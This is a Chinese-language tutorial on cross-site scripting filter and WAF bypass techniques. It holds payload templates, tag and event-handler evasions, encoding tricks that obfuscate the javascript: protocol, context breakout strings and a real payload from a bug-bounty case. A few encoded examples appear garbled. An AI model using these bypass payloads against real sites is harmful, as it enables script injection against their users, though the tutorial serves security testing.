一次"艰难"的XSS Bypass之旅
字数 1266 2025-08-26 22:11:45
XSS Bypass技术深度解析与实战指南
1. XSS基础与测试方法论
1.1 XSS测试流程
- 参数枚举:使用Burp Suite等工具枚举所有可能的反射型参数
- 主动扫描:利用Burp的"Actively scan defined insertion points"功能扫描URL参数
- API发现:使用LinkFinder等工具枚举所有接口,发现潜在漏洞点
1.2 反射型XSS识别
- 测试参数值是否被反射到响应中
- 检查反射位置(HTML标签内、属性值、JavaScript代码中等)
2. XSS Payload构造原理
2.1 基本Payload结构
{TAG}{EVENT}={PAYLOAD}
其中:
TAG: HTML标签EVENT: 事件处理器PAYLOAD: 执行的JavaScript代码
2.2 标签测试策略
- 测试常见标签是否被过滤:
<script>, , <a>, <body>, <html>, <meta>, <xml>, <object> - 尝试替代标签:
<svg>标签通常比``更容易绕过<image>标签可能未被过滤而``被过滤
3. WAF绕过技术详解
3.1 标签名称绕过
- 大小写混合:
<sCriPt>, <ObJeCt> - 特殊字符插入:
<d|3v>, <x<dev> - 填充字符测试:
<tag%0axxx> <!-- 测试换行符 --> <tag%0dxxx> <!-- 测试回车符 --> <tag%09xxx> <!-- 测试制表符 --> <tag/xxx> <!-- 测试斜杠 -->
3.2 事件处理器绕过
- 常见事件处理器黑名单:
on(load|click|error|show) - 非常用事件处理器:
onauxclick, ondblclick, oncontextmenu, onmouseleave, ontouchcancel - 事件处理器测试方法:
<tag{filler}onxxx> <!-- 测试通用正则 --> <tag{filler}onclick> <!-- 测试黑名单 -->
3.3 JavaScript执行方式
- 传统方式:
alert(1), prompt(1), confirm(1) - 反引号替代括号:
alert`1`, prompt`1` - 注释干扰:
alert(/*xnxx.com*/1)
4. 不同上下文下的XSS技术
4.1 HTML上下文
-
外部标签:
<span>注入点</span>Payload结构:
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF} -
内部标签属性:
<input type="text" value="注入点">Payload结构:
">{payload} 或 " onfocus="alert(1) x="
4.2 JavaScript上下文
-
字符串变量:
var name = '注入点';Payload结构:
';alert(1);// -
代码块绕过:
if (a > b){ xnxx_func('');}}alert();if(true){('');使用注释和特殊字符:
');%0a}%0d}%09alert();/*xnxx.com*/if(true){//xnxx.com%0a('
4.3 特殊标签处理
-
srcdoc属性:
<iframe srcdoc="注入点">使用HTML实体编码:
<svg/onload=alert()> -
非执行上下文:
<!-- 注入点 --> <style>, <title>, <noembed>, <template>, <noscript>, <textarea>需要先闭合标签:
</tag>{可执行payload}
5. 高级混淆技术
5.1 JavaScript协议混淆
- 基本检测模式:
href[\s]{0,}=[\s]{0,}javascript:. - 混淆技术:
j%0aAv%0dasCr%09ipt: J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a: Javascript: javascript:
5.2 数字字符编码
- 十进制编码:
Javascript: - 十六进制编码:
javascript: - 混合技术:
Java%0a%0d%09script:
6. 实战案例解析
6.1 成功Payload示例
gridview=%27&'/>%20<svg/onauxClick%3D"alert`HackerOne`"</svg>='&asd
关键点:
- 使用
svg标签绕过标签过滤 - 使用
onauxClick事件绕过事件处理器黑名单 - 使用反引号
`替代括号执行JavaScript
6.2 防御措施分析
-
常见WAF产品:
- ModSecurity
- Wordfence
- Cloudflare
- Akamai
- Comodo
- F5
-
绕过思路:
- 测试WAF规则边界
- 使用非常用标签和事件
- 利用HTML解析特性
7. 测试工具与资源
7.1 推荐工具
- Burp Suite:用于参数枚举和扫描
- LinkFinder:用于API端点发现
https://github.com/GerbenJavado/LinkFinder
7.2 学习资源
- OWASP XSS文档:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) - 高级绕过技术:
https://0x00sec.org/t/fun-bypass-xss-detection-waf/12228
8. 总结与最佳实践
- 系统化测试:从标签、事件、payload结构三个维度系统测试
- 上下文感知:根据注入点位置选择合适的技术
- 混淆组合:混合使用多种混淆技术提高成功率
- 持续更新:关注新的HTML5特性及浏览器解析差异
通过掌握这些技术,安全测试人员可以更有效地发现和验证XSS漏洞,同时也有助于开发人员构建更安全的Web应用。